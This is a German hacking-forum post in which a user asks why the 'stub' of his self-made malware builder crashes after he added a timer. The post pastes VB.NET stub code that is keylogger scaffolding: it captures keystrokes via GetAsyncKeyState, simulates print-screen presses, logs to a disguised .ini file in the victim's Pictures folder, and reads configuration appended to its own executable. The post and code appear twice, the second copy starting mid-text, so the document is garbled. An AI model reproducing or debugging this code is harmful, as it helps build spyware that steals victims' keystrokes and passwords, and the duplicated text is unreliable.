DarkFire
20.03.2009, 16:06
Also ich hab nach einen bsp. von The Papst einen Builder erstellt.
Der hat auch gut funktioniert, bis ich mit einem Timer rumgespielt habe, dannach ging nichts mehr.
Es kommt beim starten nur die Fehlermeldung:
http://img12.imageshack.us/img12/486/stubp.jpg
Ich hab alle Befehle, außer die die auf dem Bild sind deaktiviert.. aber es kommt trotzdem die Fehlermeldung..
Hat jemand ne Idee was den Fehler verursacht?
Stub
Imports System.IO
Public Class Form1
Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal nVirtKey As Keys) As Short
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Integer, ByVal dwExtraInfo As Integer)
Private Const VK_SNAPSHOT As Short = &H2CS
Dim Speicherort As String = "C:\Users\" & System.Environment.UserName & "\Bilder\" & System.Environment.UserName & " - " & "Log" & ".ini"
Dim LoggDatei As New StreamWriter(Speicherort)
Dim rnd As New System.Random()
Dim z As Integer = rnd.Next()
Dim vb6 As New Compatibility.VB6.FixedLengthString(100)
Dim cmd() As String
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim StubPfad As String = Application.ExecutablePath
Dim StubCopy As String = StubPfad.Substring(0, StubPfad.IndexOf(".")) & "stubcopy.exe"
IO.File.Copy(StubPfad, StubCopy)
FileOpen(1, (StubCopy), OpenMode.Binary)
FileGet(1, vb6.Value, LOF(1) - 99)
FileClose(1)
cmd = vb6.Value.Split("~")
IO.File.Delete(StubCopy)
Der hat auch gut funktioniert, bis ich mit einem Timer rumgespielt habe, dannach ging nichts mehr.
Es kommt beim starten nur die Fehlermeldung:
http://img12.imageshack.us/img12/486/stubp.jpg
Ich hab alle Befehle, außer die die auf dem Bild sind deaktiviert.. aber es kommt trotzdem die Fehlermeldung..
Hat jemand ne Idee was den Fehler verursacht?
Stub
Imports System.IO
Public Class Form1
Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal nVirtKey As Keys) As Short
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Integer, ByVal dwExtraInfo As Integer)
Private Const VK_SNAPSHOT As Short = &H2CS
Dim Speicherort As String = "C:\Users\" & System.Environment.UserName & "\Bilder\" & System.Environment.UserName & " - " & "Log" & ".ini"
Dim LoggDatei As New StreamWriter(Speicherort)
Dim rnd As New System.Random()
Dim z As Integer = rnd.Next()
Dim vb6 As New Compatibility.VB6.FixedLengthString(100)
Dim cmd() As String
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim StubPfad As String = Application.ExecutablePath
Dim StubCopy As String = StubPfad.Substring(0, StubPfad.IndexOf(".")) & "stubcopy.exe"
IO.File.Copy(StubPfad, StubCopy)
FileOpen(1, (StubCopy), OpenMode.Binary)
FileGet(1, vb6.Value, LOF(1) - 99)
FileClose(1)
cmd = vb6.Value.Split("~")
IO.File.Delete(StubCopy)